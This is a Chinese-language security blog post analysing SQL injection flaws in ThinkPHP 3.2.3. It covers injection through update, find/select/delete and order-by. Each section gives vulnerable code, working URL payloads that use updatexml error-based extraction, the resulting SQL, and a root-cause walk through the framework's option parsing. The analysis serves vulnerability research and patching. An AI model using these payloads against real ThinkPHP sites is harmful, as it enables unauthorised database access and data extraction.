think3.2.3 sql 注入 | h3art3ars

> think 系列之 thinkphp3.2.3 sql 注入漏洞总结

update 注入 (<=3.2.3)

漏洞代码实例

```
$User=M('user');
$user['id']=I('id');
$data['name']=I('name');
$data['money']=I('money');
$res=$User->where($user)->save($data);
```

漏洞利用

	?id[]=**bind**&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(**select**%20user()),0x5d),1)
	//**UPDATE** `user` **SET** `money`='0',`user`='' **WHERE** `id` = '' **and** updatexml(1,**concat**(0x5b,(**select user**()),0x5d),1)

漏洞流程

```
save($data,$options)->_parseOptions($Options)->update($data,$options)->parsewhere($option[$where])->parsewhereitem($key,$value)
```

- $Options 参数为空，但经过_parseOptions($Options) 方法将参数中的 id[] 数组变为 $where
- 进入 parsewhereitem() 方法将 id 分为键值 如果 id[0]==bind，则将 id[1] 拼接到
- 如果 id[0]==bind，则将 id[1] 拼接到 `$whereStr .= $key.' = :'.$val[1];`
- `:n` 表示更新的数组 `data[n]`，可以结合 sql 语句闭合一下，有时不闭合也可以造成注入
- 前面的 exp 变为

  ?id[]=**bind**&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(**select**%20user()),0x5d),1)&user=admin&money=11

  则语句则变成

	UPDATE `user` **SET** `money`=11,`user`='admin' **WHERE** `id` = 11 **and** updatexml(1,**concat**(0x5b,(**select user**()),0x5d),1)

```
//id=:1 and updat....
```

```
//而 :1=data[1]=money=11
```

漏洞成因

经过 `_parseOptions($Options)` 方法将可控变量合并到 `$Options` 参数中

find_select_delete 注入 (<=3.2.3)

漏洞代码实例

- ```
  $res=M('user')->find(I('id'));      //select * from user where id =1;
  ```

  ```
  $res=M('user')->select(I('id'));
  ```

  ```
  $res=M('user')->delete(I('id'));
  ```

- **delete** 方法 第一个参数可外部控制时可注入

  select 方法 第一个参数可外部控制时可注入

  find 方法 第一个参数可外部控制时可注入

  Add 方法 第二个参数可外部控制时可注入
  ```

	addAll 方法 第二个参数可外部控制时可注入
	save 方法 第二个参数可外部控制时可注入

漏洞利用

	?id[where]=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1)
	//[find/select]select * from user where id=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1)
	?id[table]=user%20where%20id=updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
	//[find/select]select * from user where id =updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
	?id[where]=id%3d3%20and%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
	//[delete]DELETE FROM `tp_member` WHERE id=3 and updatexml(1,concat(0x5b,(select user()),0x5d),1)

除了 where 还可以利用其他方式


```
where,table,field,join,group,having....
```

```
//根据parseSql函数动态调试
```

漏洞成因

_parseOptions() 方法执行了数组合并操作，将可控 options 参数拼接到即将执行的 sql 语句参数中

```
if(is_array($options))
```

```
$options =  array_merge($this->options,$options);
```

漏洞流程（find）

```
find($options=array())->select($options=array())->buildSelectSql($options)->parseSql($sql,$options=array());
```

```
//parseSql()
```

```
//$sql=SELECT%DISTINCT% %FIELD% FROM
//%TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT%
%UNION%%LOCK%%COMMENT%
```

```
```

```
```

```
    public function parseSql($sql,$options=array()){
        $sql   = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%'
,'%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
            $this->parseTable($options['table']),
            $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
            $this->parseField(!empty($options['field'])?$options['field']:'*'),
            $this->parseJoin(!empty($options['join'])?$options['join']:''),
            $this->parseWhere(!empty($options['where'])?$options['where']:''),
            $this->parseGroup(!empty($options['group'])?$options['group']:''),
            $this->parseHaving(!empty($options['having'])?$options['having']:''),
            $this->parseOrder(!empty($options['order'])?$options['order']:''),
            $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
```

```
        $this->parseUnion(!empty($options['union'])?$options['union']:''),
        $this->parseLock(isset($options['lock'])?$options['lock']:false),
        $this->parseComment(!empty($options['comment'])?$options['comment']:''),
        $this->parseForce(!empty($options['force'])?$options['force']:'')
    ),$sql);
    return $sql;
}
```

将可控的 options[‘where’] 参数拼接到 sql 语句中

也可以使用其他的 options 值拼接，例如 options[‘table’]

thinkphp3.2_find_select_delete 注入

ord by 注入 (<=3.2.3&<=5.1.22)

漏洞代码实例

```
$data=array();
```

```
$data['user']=array('eq','admin');
```

```
$order=I('get.order');
```

```
$res=M('user')->where($data)->order($order)->find();
```

```
ar_dump($res);
```

漏洞利用

```
?order[updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23]=1
```

```
//直接用order=updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23也行 亲测
```

执行的 sql

```
SELECT * FROM `user` WHERE `user` = 'admin' ORDER BY updatexml(1,concat(0x3a,(select user()),0x5d),1)# 1 LIMIT 1
```

漏洞原因

ThinkPHP 在处理 order by 排序时，当排序参数可控且为关联数组 (key-value) 时，由于框架未对数组中 key 值作安全过滤处理，攻击者可利用 key 构造 SQL 语句进行注入。